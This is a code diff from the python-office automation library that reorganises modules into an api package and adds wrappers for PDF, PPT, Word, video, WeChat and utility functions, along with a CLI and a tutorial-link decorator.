删除pdf页面 + 文档:http://www.python4office.cn/python-office/popdf/%E8%AF%BE%E7%A8%8B/9-del4pdf + 演示代码: + """ + popdf.del4pdf(input_file, output_file, page_nums) + + +# @except_dec() +# @instruction +def add_img_water(pdf_file_in, pdf_file_mark, pdf_file_out): + popdf.add_img_water(pdf_file_in, pdf_file_mark, pdf_file_out) + + +# @instruction +def add_watermark() -> None: + popdf.add_watermark() + + +# 给pdf加水印-有参数 +# @except_dec() +# @instruction +def add_mark(pdf_file, mark_str, output_path=None, output_file_name=None) -> None: + """ + 必填参数: + pdf_file:pdf的位置,例如:d:/code/程序员晚枫.popdf + mark_str:需要添加的水印内容,例如:百度一下:程序员晚枫 + 选填参数: + output_file_name:指定添加了水印的文件名称,可以不指定,默认是:添加了水印的文件.popdf + """ + popdf.add_watermark_by_parameters(pdf_file, mark_str, output_path, output_file_name) + + +# 给pdf加水印-有参数 +# @except_dec() +# @instruction +def add_watermark_by_parameters(pdf_file, mark_str, output_path=None, output_file_name=None) -> None: + """ + 给PDF添加水印 + Args: + pdf_file: pdf的位置,例如:d:/code/程序员晚枫.popdf + mark_str: 需要添加的水印内容,例如:百度一下:程序员晚枫 + output_path: 保存文件的位置 + output_file_name: 指定添加了水印的文件名称,可以不指定,默认是:添加了水印的文件.popdf + + Returns: + + """ + popdf.add_watermark_by_parameters(pdf_file, mark_str, output_path, output_file_name) diff --git a/office/api/ppt.py b/office/api/ppt.py new file mode 100644 index 0000000..7b83b0c --- /dev/null +++ b/office/api/ppt.py @@ -0,0 +1,43 @@ +# -*- coding:utf-8 -*- + +############################################# +# File Name: poppt.py +# 公众号/B站/小红书/抖音/知乎: 程序员晚枫 +# Mail: 1957875073@qq.com +# Created Time: 2022-4-25 10:17:34 +# Description: 有关 poppt 的自动化操作 +############################################# + +import poppt + +# todo:输入文件路径 +# @except_dec() +from office.lib.decorator_utils.instruction_url import instruction + + +# @instruction +def ppt2pdf(path: str, output_path=r'./'): + poppt.ppt2pdf(path, output_path) + + +# @instruction +def ppt2img(input_path: str, output_path=r'./', merge: bool = False): + """ + PPT转图片,可以转为长图 + Args: + input_path: 存放PPT的位置, + 转换单个文件 → 可以写文件的路径 + 转换单个文件 → 写文件夹的路径 + output_path: 结果图片的存储位置,可以不写,默认代码目录 + merge: True → 转为1张图片 + False → PPT有多少张,就转为多少张图片 + + Returns: None + + """ + poppt.ppt2img(input_path, output_path, merge) + + +# @instruction +def merge4ppt(input_path: str, output_path=r'./', output_name: str = 'merge4ppt.pptx'): + poppt.merge4ppt(input_path, output_path, output_name) diff --git a/office/api/testApi/__init__.py b/office/api/testApi/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/office/api/testApi/ruiming.py b/office/api/testApi/ruiming.py new file mode 100644 index 0000000..53bfeb5 --- /dev/null +++ b/office/api/testApi/ruiming.py @@ -0,0 +1,19 @@ +from office.core.TestTypes.RuimingType import MainRuiming +from office.lib.utils.except_utils import except_dec + +ruiming = MainRuiming() + + +# @except_dec() +def screen_unmarked_image(dir_path): + ruiming.screen_unmarked_image(dir_path) + + +# @except_dec() +def change_label_in_xml(dir_path, old_label, new_label): + ruiming.change_label_in_xml(dir_path, old_label, new_label) + + +# @except_dec() +def screen_without_label_json_file(dir_path): + ruiming.screen_without_label_json_file(dir_path) \ No newline at end of file diff --git a/office/api/tools.py b/office/api/tools.py new file mode 100644 index 0000000..ffcf920 --- /dev/null +++ b/office/api/tools.py @@ -0,0 +1,127 @@ +import wftools +from pocode.api.color import random_color_print + +from office.lib.conf.CONST import SPLIT_LINE + + +# from office.core.ToolsType import wftools +# wftools = wftools() + +# @except_dec() +# # @instruction +def transtools(to_lang: str, content: str, from_lang: str = 'zh'): + """ + 将内容从一种语言翻译为另一种语言。 + + 参数: + to_lang (str): 目标语言,用字符串表示。 + content (str): 待翻译的内容。 + from_lang (str, 可选): 源语言,默认为'zh'(中文)。 + + 返回: + str: 翻译后的结果。 + + """ + return wftools.transtools(to_lang=to_lang, content=content, from_lang=from_lang) + + +# @except_dec() +# @instruction +def qrcodetools(url: str, output: str = r'./qrcode_img.png'): + """ + 生成二维码图片。 + + 参数: + url (str): 用于生成二维码的URL地址。 + output (str, 可选): 生成的二维码图片保存路径,默认为当前目录下的 './qrcode_img.png'。 + + 返回: + 无 + + """ + wftools.qrcodetools(url, output) + + +# @except_dec() +# @instruction +def passwordtools(len=8): + """ + 生成一个指定长度的密码。 + + 参数: + len (int): 密码长度,默认为8。 + + 返回值: + str: 生成的密码。 + """ + return wftools.passwordtools(len) + + +# @except_dec() +# @instruction +def weather(): + wftools.weather() + + +# 通过url,获取ip地址 +# # @except_dec() +# @instruction +def url2ip(url: str) -> str: + return wftools.url2ip(url) + + +# 通过url,获取ip地址 +# @except_dec() +# @instruction +def lottery8ticket(): + wftools.lottery8ticket() + + +# @except_dec() +# @instruction +def create_article(theme, line_num=200): + """ + 创建文章 + + 参数: + theme (str): 文章的主题 + line_num (int): 文章的行数,默认为200行 + + 返回: + 无 + + """ + wftools.create_article(theme, line_num) + + +# @except_dec() +# @instruction +def pwd4wifi(len_pwd: int = 8, pwd_list=[]): + wftools.pwd4wifi(len_pwd, pwd_list) + + +# 测试网速 +# @instruction +def net_speed_test(): + """ + 网络速度测试函数 + + 该函数用于测试网络的上传和下载速度 + + 参数: + 无 + + 返回: + 无 + """ + wftools.net_speed_test() + + +def course(): + random_color_print(SPLIT_LINE) + random_color_print('【python-office库】,功能持续更新中') + random_color_print('使用有问题 or 提交你的功能需求 or 参与项目开发') + random_color_print('1、给小白的【50讲Python自动化办公】:https://www.python-office.com/course/50-python-office.html') + random_color_print('2、请+【项目交流群】:http://www.python4office.cn/wechat-group/') + random_color_print('3、本开源项目的【源代码】:https://github.com/CoderWanFeng/python-office') + random_color_print(SPLIT_LINE) diff --git a/office/api/video.py b/office/api/video.py new file mode 100644 index 0000000..6587349 --- /dev/null +++ b/office/api/video.py @@ -0,0 +1,52 @@ +# from office.core.VideoType import MainVideo +# mainVideo = MainVideo() +import povideo + +# 从视频里提取音频 +from office.lib.decorator_utils.instruction_url import instruction + + +# @instruction +def video2mp3(path, mp3_name=None, output_path=r'./'): + povideo.video2mp3(path, mp3_name, output_path) + + +# 从音频里,提取文字 +# 本地语音文件不能大于5MB +# @instruction +def audio2txt(audio_path, appid, secret_id, secret_key): + povideo.audio2txt(audio_path, appid, secret_id, secret_key) + + +# @instruction +def mark2video(video_path, output_path=r'./', output_name=r'mark2video.mp4', mark_str: str = "www.python-office.com", + font_size=28, + font_type='Arial', font_color='white'): + """ + 给视频添加水印 + :param video_path: 必填,视频地址 + :param output_path: 输出地址 + :param output_name: 输出名称,记得带‘.mp4’ + :param mark_str: 水印内容,只支持英文 + :param font_size: 水印字体大小 + :param font_color: 水印颜色 + :param font_type: 水印字体类型 + :return: + """ + povideo.mark2video(video_path, output_path, output_name, mark_str, font_size, font_type, font_color) + + +# @instruction +def txt2mp3(content='程序员晚枫', file=None, mp3=r'./程序员晚枫.mp3', speak=True): + """ + 文本转语音 + Args: + content:需要转换的内容 + file: 指定读取的文件,优先级最高 + mp3: 需要保存的mp3位置和名称。填None不保存。 + speak:是否阅读 + + Returns: + + """ + return povideo.txt2mp3(content, file, mp3, speak) diff --git a/office/web.py b/office/api/web.py similarity index 58% rename from office/web.py rename to office/api/web.py index 37a6686..5ba7a0d 100644 --- a/office/web.py +++ b/office/api/web.py @@ -1,9 +1,15 @@ #!/usr/bin/env python -#-*- coding:utf-8 -*- +# -*- coding:utf-8 -*- ############################################# # File Name: 网站开发.py # Mail: 1957875073@qq.com # Created Time: 2022-4-25 10:17:34 # Description: 有关 网站开发 的自动化操作 -############################################# \ No newline at end of file +############################################# + +import pospider + + +def url2ebook(url, tile): + pospider.url.url2ebook(url, tile) diff --git a/office/api/wechat.py b/office/api/wechat.py new file mode 100644 index 0000000..9ee4426 --- /dev/null +++ b/office/api/wechat.py @@ -0,0 +1,60 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/8/22 23:28 +''' + +""" +🤖10讲Python微信机器人,小白也能学会 +https://www.bilibili.com/video/BV1S84y1m7xd/ +""" + +import PyOfficeRobot + +from office.lib.decorator_utils.instruction_url import instruction + + +# @instruction +def send_message(who: str, message: str): + PyOfficeRobot.chat.send_message(who, message) + + +# @instruction +def send_message_by_time(who, message, time): + PyOfficeRobot.chat.send_message_by_time(who, message, time) + + +# @instruction +def chat_by_keywords(who, keywords): + PyOfficeRobot.chat.chat_by_keywords(who, keywords) + + +# @instruction +def send_file(who, file): + PyOfficeRobot.file.send_file(who, file) + + +def group_send(): + PyOfficeRobot.group.send() + + +# 保存指定人的消息 +# BY:盖飞 +# @instruction +def receive_message(who='文件传输助手', txt='userMessage.txt', output_path='./'): + PyOfficeRobot.chat.receive_message(who, txt, output_path) + + +# @instruction +def chat_robot(who='程序员晚枫'): + """ + 智能聊天 + Args: + who: 指定聊天对象,可以是备注名称。不支持特殊字符。 + + Returns: + + """ + PyOfficeRobot.chat.chat_robot(who) diff --git a/office/api/word.py b/office/api/word.py new file mode 100644 index 0000000..96eb2d4 --- /dev/null +++ b/office/api/word.py @@ -0,0 +1,56 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/8/22 23:28 +''' + +import poword + +from office.lib.decorator_utils.instruction_url import instruction + + +# @instruction +def docx2pdf(path: str, output_path: str = None): + """ + word转pdf + Args: + path: word文件的位置。支持批量处理:填写文件夹位置。 + output_path: 转换后的输出位置,如果不存在会自动创建。 + + Returns: + + """ + if output_path is None: + output_path = path + poword.docx2pdf(path, output_path) + + +# @instruction +def merge4docx(input_path: str, output_path: str, new_word_name: str = 'merge4docx'): + poword.merge4docx(input_path, output_path, new_word_name) + + +# @instruction +def doc2docx(input_path: str, output_path: str = r'./', output_name: str = None): + poword.doc2docx(input_path, output_path, output_name) + + +# @instruction +def docx2doc(input_path: str, output_path: str = r'./', output_name: str = None): + poword.docx2doc(input_path, output_path, output_name) + + +# @instruction +def docx4imgs(word_path, img_path): + """ + 从Word里提取图片 + Args: + word_path:word文档的路径 + img_path: 提取图片的存储位置,会自动根据word名称,在指定文件夹下,生成一个子目录 + + Returns: + + """ + poword.docx4imgs(word_path, img_path) diff --git a/office/cli/__init__.py b/office/cli/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/office/cli/main.py b/office/cli/main.py new file mode 100644 index 0000000..7cec7bb --- /dev/null +++ b/office/cli/main.py @@ -0,0 +1,132 @@ +""" +python-office Command Line Interface +==================================== + +```script +python -m office --help +``` +""" +from typer import Typer + +app = Typer(name="python-office CLI") + + +# +# @app.command() +# def ppt2pdf(dir_path: str): +# """ppt导出为PDF,需要Microsoft Office环境""" +# try: +# from office.poppt import ppt2pdf +# except ImportError: +# from office.poppt import ppt2pdf +# return ppt2pdf(dir_path) +# + +@app.command() +def docx2pdf(dir_path: str, suffix="docx"): + """docx转pdf""" + from office.word import docx2pdf + Typer.launch("http://www.python4office.cn/wechat-group/") + return docx2pdf(dir_path, suffix) + + +@app.command() +def hello(): + print(666) + + +# +# +# @app.command() +# def pdf_encrypt(input_path: str, password: str, output_path: str = None): +# """加密PDF 输入路径 密码 [输出路径(默认与输入相同)]""" +# try: +# from .popdf import encrypt4pdf +# except ImportError: +# from popdf import encrypt4pdf +# return encrypt4pdf(input_path, password, output_path or input_path) +# +# +# @app.command() +# def pdf_decrypt(input_path: str, password: str, output_path: str = None): +# """解密PDF 输入路径 密码 [输出路径(默认与输入相同)]""" +# try: +# from .popdf import decrypt4pdf +# except ImportError: +# from popdf import decrypt4pdf +# return decrypt4pdf(input_path, password, output_path or input_path) +# +# +# @app.command() +# def pdf_merge(paths: list[str], output_path: str): +# """合并PDF 若干pdf路径 最后一个参数为合并后的PDF的路径""" +# try: +# from .popdf import merge2pdf +# except ImportError: +# from popdf import merge2pdf +# return merge2pdf(paths, output_path) +# +# +# @app.command() +# def watermark(path: str, mark: str, out_dir="output", color="#8B8B1B", size=30, opacity=0.15, space=75, angle=30): +# """图片水印 文件(夹)路径 水印文本 [输出文件夹] [颜色] [字号] [透明度] [字间距] [倾角]""" +# try: +# from .image import add_watermark +# except ImportError: +# from image import add_watermark +# return add_watermark(path, mark, out_dir, color, size, opacity, space, angle) +# +# +# @app.command() +# def txt2pdf(txt_path: str, pdf_path: str): +# """创建纯文本PDF 输入路径 输出路径""" +# try: +# from .popdf import txt2pdf +# except ImportError: +# from popdf import txt2pdf +# return txt2pdf(txt_path, pdf_path) +# +# +# @app.command() +# def rename(path: str, old: str, new=""): +# """批量修改文件名 目录路径 子字符串 [新字符串]""" +# try: +# from .file import replace4filename +# except ImportError: +# from file import replace4filename +# return replace4filename(path, old, new) +# +# +# @app.command() +# def fake(path="./fake2excel.xlsx", rows=1, columns=("name",), language='zh_CN'): +# """生成假数据Excel文件 [导出文件路径] [行数] [列名列表] [语种]""" +# try: +# from .excel import fake2excel +# except ImportError: +# from excel import fake2excel +# return fake2excel(columns, rows, language, path) +# +# +# @app.command() +# def pwd(length: int = 8): +# """生成随机密码""" +# try: +# from .tools import passwordtools +# except ImportError: +# from tools import passwordtools +# return passwordtools(length) +# +# +# @app.command() +# def extract_audio(input_path: str, output_path: str = None): +# """从视频中提取音频""" +# try: +# from .video import video2mp3 +# except ImportError: +# from video import video2mp3 +# return video2mp3(input_path, +# (input_path[:input_path.rindex(".")] or output_path.removesuffix(".mp3")) + ".mp3") +# + +if __name__ == '__main__': + app() diff --git a/office/core/TestTypes/RuimingType.py b/office/core/TestTypes/RuimingType.py new file mode 100644 index 0000000..57a37ab --- /dev/null +++ b/office/core/TestTypes/RuimingType.py @@ -0,0 +1,91 @@ +import pathlib +import shutil +import xml.etree.ElementTree +import json + + +class MainRuiming(): + def __make_dir(self, dir_path, dir_name): + """ + + :param dir_path: 准备新建的位置 + :param dir_name: 新建文件夹的名称 + """ + new_dir_path = dir_path.joinpath(dir_name) + if not new_dir_path.is_dir(): + new_dir_path.mkdir() + elif list(new_dir_path.iterdir()) != []: + exit("目录\"" + str(new_dir_path) + "\"存在且不为空,请检查!") + + def screen_unmarked_image(self, dir_path, image_name_extension: str = ".jpg", + marked_file_name_extension: str = ".xml"): + """ + + :param dir_path: 图片及标注文件的存放路径 + :param image_name_extension: 图片文件的后缀,默认为.jpg + :param marked_file_name_extension: 标注文件的后缀,默认为.xml + """ + dir_path = pathlib.Path(dir_path).resolve() + if dir_path.is_dir(): + unmarked_image_storage_path = dir_path.joinpath("未标注图片") + self.__make_dir(dir_path, "未标注图片") + image_name_root_set = set() + marked_file_name_root_set = set() + # 创建集合 + dir_path_file_list = list(dir_path.iterdir()) + for file_name in dir_path_file_list: + # 按文件类型添加文件名到对应的集合 + if file_name.is_file(): + if file_name.suffix == image_name_extension: + image_name_root_set.add(file_name.name.replace(image_name_extension, "")) + if file_name.suffix == marked_file_name_extension: + marked_file_name_root_set.add(file_name.name.replace(marked_file_name_extension, "")) + unmarked_image_list = list(image_name_root_set - marked_file_name_root_set) + for i in unmarked_image_list: + shutil.move(dir_path.joinpath(i + image_name_extension), + unmarked_image_storage_path.joinpath(i + image_name_extension)) + print("筛选完成") + else: + print("路径输入有误,请检查!") + + def change_label_in_xml(self, dir_path, old_label, new_label): + """ + + :param dir_path: 图片及标注文件的存放路径 + :param old_label: 需要修改的标签 + :param new_label: 修改后的标签 + """ + dir_path = pathlib.Path(dir_path).resolve() + if dir_path.is_dir(): + file_list = list(dir_path.iterdir()) + for file in file_list: + if file.suffix == ".xml": + xml_file = xml.etree.ElementTree.parse(str(file)) + xml_root = xml_file.getroot() + label_xpath = "./object/name" + label_list = xml_root.findall(label_xpath) + for label in label_list: + if label.text == old_label: + label.text = new_label + xml_file.write(str(file), encoding="utf-8") + else: + print("请输入正确的路径!") + + def screen_without_label_json_file(self, dir_path): + dir_path = pathlib.Path(dir_path).resolve() + if dir_path.is_dir(): + print("正在筛选无标签内容的json文件") + without_label_json_storage_path = dir_path.joinpath("无标签json文件") + self.__make_dir(dir_path, "无标签json文件") + dir_path_file_list = list(dir_path.iterdir()) + for file_name in dir_path_file_list: + if file_name.is_file() and file_name.suffix == ".json": + json_file = open(file_name, "r") + json_file_text = json.load(json_file) + json_file.close() + if json_file_text["shapes"] == []: + shutil.move(dir_path.joinpath(file_name.name), + without_label_json_storage_path.joinpath(file_name.name)) + print("筛选完成") + else: + print("路径输入有误,请检查!") diff --git a/office/core/TestTypes/__init__.py b/office/core/TestTypes/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/office/core/__init__.py b/office/core/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/office/email.py b/office/email.py deleted file mode 100644 index 22da60a..0000000 --- a/office/email.py +++ /dev/null @@ -1,9 +0,0 @@ -#!/usr/bin/env python -#-*- coding:utf-8 -*- - -############################################# -# File Name: email-1.py -# Mail: 1957875073@qq.com -# Created Time: 2022-4-25 10:17:34 -# Description: 有关 email 的自动化操作 -############################################# \ No newline at end of file diff --git a/office/excel.py b/office/excel.py deleted file mode 100644 index 2de3d23..0000000 --- a/office/excel.py +++ /dev/null @@ -1,44 +0,0 @@ -#!/usr/bin/env python -# -*- coding:utf-8 -*- - -############################################# -# File Name: excel.py -# Mail: 1957875073@qq.com -# Created Time: 2022-4-25 10:17:34 -# Description: 有关 excel 的自动化操作 -############################################# - -from faker import Faker -import pandas as pd -from alive_progress import alive_bar - -from utils import pandas_mem - - -def fake2excel(columns=['name'], rows=1, language='zh_CN', path='./fake2excel.xlsx', ): - """ - @Author & Date : CoderWanFeng 2022/5/13 0:12 - @Desc : columns:list,每列的数据名称,默认是名称 - rows:多少行,默认是1 - language:什么语言,可以填english,默认是中文 - path:输出excel的位置,有默认值 - """ - # 可以选择英语 - if language.lower() == 'english': - language = 'en_US' - # 开始造数 - fake = Faker(language) - excel_dict = {} - with alive_bar(len(columns) * rows) as bar: - for column in columns: - excel_dict[column] = list() - # excel_dict[column] = map(lambda x: eval('fake.{func}()'.format(func=x)), [column] * rows) # 使用map,会报错 - while len(excel_dict[column]) < rows: - excel_dict[column].append(eval('fake.{func}()'.format(func=column))) - bar() - # 用pandas,将模拟数据,写进excel里面 - writer = pd.ExcelWriter(path) - data = pd.DataFrame(excel_dict) - data = pandas_mem.reduce_pandas_mem_usage(data) - data.to_excel(writer, index=False) - writer.save() diff --git a/office/file.py b/office/file.py deleted file mode 100644 index ad24629..0000000 --- a/office/file.py +++ /dev/null @@ -1,37 +0,0 @@ -#!/usr/bin/env python -# -*- coding:utf-8 -*- - -############################################# -# File Name: 文件.py -# Mail: 1957875073@qq.com -# Created Time: 2022-4-25 10:17:34 -# Description: 有关 文件 的自动化操作 -############################################# - - -import os -from alive_progress import alive_bar - - -def replace4filename(path, del_content, replace_content=None): - """ - :param path: 需要替换的文件夹路径 - :param del_content: 需要删除/替换的内容 - :param replace_content: 替换后的内容,可以不填 = 直接删除 - :return: - """ - # 获取该目录下所有文件,存入列表中;不包含子文件夹 - fileList = os.listdir(path) - work_count = 0 - with alive_bar(len(fileList)) as bar: - for old_file_name in fileList: # 依次读取该路径下的文件名 - bar() # 进度条 - if del_content in old_file_name: - - if replace_content: - new_file_name = old_file_name.replace(del_content, replace_content) - else: - new_file_name = old_file_name.replace(del_content, '') - os.rename(path + os.sep + old_file_name, path + os.sep + new_file_name) - work_count = work_count + 1 - print("当前目录下,共有{}个文件/文件夹,本次运行共进行了{}个文件/文件夹的重命名".format(len(fileList), work_count)) diff --git a/office/image.py b/office/image.py deleted file mode 100644 index 1db8430..0000000 --- a/office/image.py +++ /dev/null @@ -1,74 +0,0 @@ -#!/usr/bin/env python -# -*- coding:utf-8 -*- - -############################################# -# File Name: 图片.py -# Mail: 1957875073@qq.com -# Created Time: 2022-4-25 10:17:34 -# Description: 有关 图片 的自动化操作 -############################################# - -import os -# from service.image import add_watermark_service -# 生成词云需要使用的类库 -from PIL import Image -from alive_progress import alive_bar - - - - -# 自动生成gif -from service.image import add_watermark_service - - -def image2gif(): - im = Image.open("1.jpg") - images = [] - images.append(Image.open('2.jpg')) - images.append(Image.open('3.jpg')) - im.save('gif.gif', save_all=True, append_images=images, loop=1, duration=1, comment=b"aaabb") - -# from wordcloud import WordCloud -# import jieba - -# def txt2wordcloud(filename, color="white", result_file="your_wordcloud.png"): -# """ -# @Author & Date : CoderWanFeng 2022/4/28 9:26 -# @Desc : 生成词云的代码,可以添加更多个性化功能 -# @Return : -# """ -# with open(filename, encoding='utf8') as fp: -# text = fp.read() -# # 将读取的中文文档进行分词 -# # 接收分词的字符串 -# word_list = jieba.cut(text) -# # 分词后在单独个体之间加上空格 -# cloud_text = " ".join(word_list) -# -# # 生成wordcloud对象 -# wc = WordCloud(background_color=color, -# max_words=200, -# min_font_size=15, -# max_font_size=50, -# width=400, -# font_path="msyh.ttc", # 默认的简体中文字体,没有会报错 -# ) -# wc.generate(cloud_text) -# wc.to_file(result_file) - - -def add_watermark(file, mark, out="output", color="#8B8B1B", size=30, opacity=0.15, space=75, angle=30): - """ - @Author & Date : CoderWanFeng 2022/5/6 14:33 - @Desc : 给图片添加水印 - @Return : 添加了水印的图片,输出到out指定的文件夹 - """ - if os.path.isdir(file): - names = os.listdir(file) - with alive_bar(len(names)) as bar: - for name in names: - bar() - image_file = os.path.join(file, name) - add_watermark_service.add_mark2file(image_file, mark, out, color, size, opacity, space, angle) - else: - add_watermark_service.add_mark2file(file, mark, out, color, size, opacity, space, angle) diff --git a/office/lib/__init__.py b/office/lib/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/office/lib/conf/CONST.py b/office/lib/conf/CONST.py new file mode 100644 index 0000000..d7a9c1f --- /dev/null +++ b/office/lib/conf/CONST.py @@ -0,0 +1 @@ +SPLIT_LINE = '='*30 \ No newline at end of file diff --git a/office/lib/conf/__init__.py b/office/lib/conf/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/office/lib/decorator_utils/__init__.py b/office/lib/decorator_utils/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/office/lib/decorator_utils/instruction_url.py b/office/lib/decorator_utils/instruction_url.py new file mode 100644 index 0000000..55b57f6 --- /dev/null +++ b/office/lib/decorator_utils/instruction_url.py @@ -0,0 +1,149 @@ +#!/usr/bin/env python +# -*- coding:utf-8 -*- + +############################################# +# File Name: instruction_url.py +# Mail: 1957875073@qq.com +# Created Time: 2022-12-17 08:14:34 +# Description: 有关 方法说明 的装饰器 +############################################# + +# 每个文件的具体方法说明 +from functools import wraps + +from pocode.api.color import random_color_print + +from office.lib.conf.CONST import SPLIT_LINE + +email_dict = {} +import os + +excel_dict = { + "fake2excel": "https://www.python-office.com/course/docs/50-07-fake2excel.html", + "excel2pdf": "https://www.python-office.com/course/docs/50-10-excel2pdf.html", + "sheet2excel": "https://www.python-office.com/course/docs/50-14-sheet2excel.html", + "merge2excel": "https://www.python-office.com/course/docs/50-22-merge2excel.html", + "find_excel_data": "https://www.bilibili.com/video/BV1Bd4y1B7yr", + "merge2sheet": "", + "split_excel_by_column": "", +} +image_dict = { + "down4img": "https://www.python-office.com/course/docs/50-16-down4img.html", + "txt2wordcloud": "https://www.python-office.com/course/docs/50-11-txt2wordcloud.html", + "del_watermark": "https://www.python-office.com/course/docs/50-17-del_watermark.html", + "add_watermark": "https://www.python-office.com/course/docs/50-42-add_watermark.html", + "decode_qrcode": "https://mp.weixin.qq.com/s/Z_RcTRYxUFpCQBGpShO0ig", + "image2gif": "", + "img2Cartoon": "https://mp.weixin.qq.com/s/5Eyk2j20jzSaVcr1DTsfvw", + "pencil4img": "https://www.bilibili.com/video/BV1rP411N7ao", +} +md_dict = {} +ocr_dict = {} +pdf_dict = { + "pdf2docx": "https://www.python-office.com/course/docs/50-04-pdf2docx.html", + "add_watermark_by_parameters": "https://www.python-office.com/course/docs/50-37-add_watermark_by_parameters.html", + "encrypt4pdf": "https://www.python-office.com/course/docs/50-38-encrypt4pdf.html", + "decrypt4pdf": "https://www.python-office.com/course/docs/50-39-decrypt4pdf.html", + "merge2pdf": "https://www.python-office.com/course/docs/50-40-merge2pdf.html", + "pdf2imgs": "https://www.python-office.com/course/docs/50-41-pdf2imgs.html", + "add_img_water": "", + "add_watermark": "https://www.bilibili.com/video/BV1Se411T7au", + "txt2pdf": "" +} +ppt_dict = { + "ppt2pdf": "https://www.python-office.com/course/docs/50-29-ppt2pdf.html", + "ppt2img": "https://www.python-office.com/course/docs/50-06-ppt2img.html", + "merge4ppt": "https://www.python-office.com/course/docs/50-30-merge4ppt.html", +} +tools_dict = { + "passwordtools": "https://www.python-office.com/course/docs/50-33-passwordtools.html", + "qrcodetools": "https://www.python-office.com/course/docs/50-34-qrcodetools.html", + "transtools": "https://www.python-office.com/course/docs/50-48-translate.html", + "net_speed_test": "https://www.python-office.com/course/docs/50-49-net_speed_test.html", + "url2ip": "https://www.python-office.com/course/docs/50-35-url2ip.html", + "create_article": "https://mp.weixin.qq.com/s/guBtZHyUyybGNOqzZke1kQ", + "lottery8ticket": "https://mp.weixin.qq.com/s/Q6JgW06hMUSik0DqGD0rOA", + "pwd4wifi": "https://blog.csdn.net/weixin_42321517/article/details/126677254", + "weather": "https://mp.weixin.qq.com/s/NVn8NNtOS3AfOyl75JTaNg", +} +video_dict = { + "video2mp3": "https://www.python-office.com/course/docs/50-47-video2mp3.html", + "txt2mp3": "https://www.python-office.com/course/docs/50-12-txt2mp3.html", + "audio2txt": "https://mp.weixin.qq.com/s/Ug_IFSEQBzDshe7KuFckTQ", + "mark2video": "https://my.oschina.net/u/3888978/blog/10104400", +} +web_dict = {} +wechat_dict = { + "chat_robot": "https://www.python-office.com/course/docs/50-08-airobot.html", + "chat_by_keywords": "https://www.python-office.com/course/docs/50-18-kw_robot.html", + "receive_message": "", + "send_file": "https://www.bilibili.com/video/BV1te4y1y7Ro", + "send_message": "https://www.bilibili.com/video/BV1Jt4y1j7F1", + "send_message_by_time": "https://www.bilibili.com/video/BV1m8411b7LZ", +} +word_dict = { + "docx2pdf": "https://www.python-office.com/course/docs/50-05-docx2pdf.html", + "merge4docx": "https://www.python-office.com/course/docs/50-25-merge4docx.html", + "docx2doc": "https://www.python-office.com/course/docs/50-43-doc2docx.html", + "doc2docx": "https://www.python-office.com/course/docs/50-43-doc2docx.html", + "docx4imgs": "https://www.python-office.com/course/docs/50-24-docx4imgs.html", +} + +file_dict = { + "search_by_content": "https://www.python-office.com/course/docs/50-09-search4content.html", + "replace4filename": "https://www.python-office.com/course/docs/50-23-replace4filename.html", + "group_by_name": "https://www.python-office.com/course/docs/50-26-group_by_name.html", + "add_line_by_type": "", + "file_name_add_postfix": "https://blog.csdn.net/shangdafen_GD/article/details/129273450", + "file_name_add_prefix": "https://blog.csdn.net/shangdafen_GD/article/details/129229642", + "file_name_insert_content": "", + "output_file_list_to_excel": "", + "search_specify_type_file": "", + "get_files": "https://www.bilibili.com/video/BV1ua4y1M7ya", +} + +# 有多少文件需要说明 +instruction_file_dict = { + "excel.py": excel_dict, + "image.py": image_dict, + "popdf.py": pdf_dict, + "poppt.py": ppt_dict, + "tools.py": tools_dict, + "video.py": video_dict, + "wechat.py": wechat_dict, + "word.py": word_dict, + "file.py": file_dict, +} + + +def instruction(func): + @wraps(func) + def instruction_wrapper(*args, **kwargs): + func_filename = os.path.basename(func.__code__.co_filename) # 取出方法所在的文件名 + # 如果有这个文件,并且已经配置了方法名对应的说明链接,则打印出来 + if func_filename in instruction_file_dict.keys() and instruction_file_dict[func_filename][func.__name__]: + random_color_print( + f'正在运行:office.{os.path.basename(func_filename)[:-3]}.{func.__name__} , 这个方法的使用说明:{instruction_file_dict[func_filename][func.__name__]}') + random_color_print(SPLIT_LINE) + instruction_res = func(*args, **kwargs) + return instruction_res + + return instruction_wrapper + + +############################################# +# 以下是本文件的工具模块,用来更新方法和链接 +from inspect import getmembers, isfunction + + +# 获取模块包含的方法名 +def get_method_name(file): + for method_name in getmembers(file): + if isfunction(method_name[1]): + random_color_print(f'"{method_name[0]}":"",') + + +from office import api + +if __name__ == '__main__': # TODO:完善这个装饰器 + get_method_name(file=api.word) diff --git a/office/lib/excel/SplitExcel.py b/office/lib/excel/SplitExcel.py new file mode 100644 index 0000000..e7c0ce3 --- /dev/null +++ b/office/lib/excel/SplitExcel.py @@ -0,0 +1,95 @@ +import os +import xlrd, xlwt +import openpyxl +import datetime + + +# + +def generate_xls(filepath: str, worksheet_data: dict): + datetime_str = datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S') + new_filepath = filepath.replace('.xls', '_Split_{}.xls'.format(datetime_str)) + new_workbook = xlwt.Workbook(encoding='utf-8') + for worksheet_name, row_data_list in worksheet_data.items(): + new_worksheet = new_workbook.add_sheet(worksheet_name) + for row_index, row_data in enumerate(row_data_list): + for column_index, data in enumerate(row_data): + new_worksheet.write(row_index, column_index, data) + new_workbook.save(new_filepath) + return new_filepath + + +def process_xls(filepath, column: int, worksheet_name: str = None): + try: + workbook = xlrd.open_workbook(filepath, formatting_info=True) + except: + return "文件读取异常:{}".format(filepath) + if worksheet_name: + worksheet = workbook.sheet_by_name(worksheet_name) + else: + worksheet = workbook.sheet_by_index(0) + rows = worksheet.nrows + cols = worksheet.ncols + split_data_dict = {} + for r in tqdm(range(rows)): + row_data = [worksheet.cell(r, c).value if worksheet.cell(r, c).value else ' ' for c in range(cols)] + temp_data = row_data[column - 1] + temp_data_list = 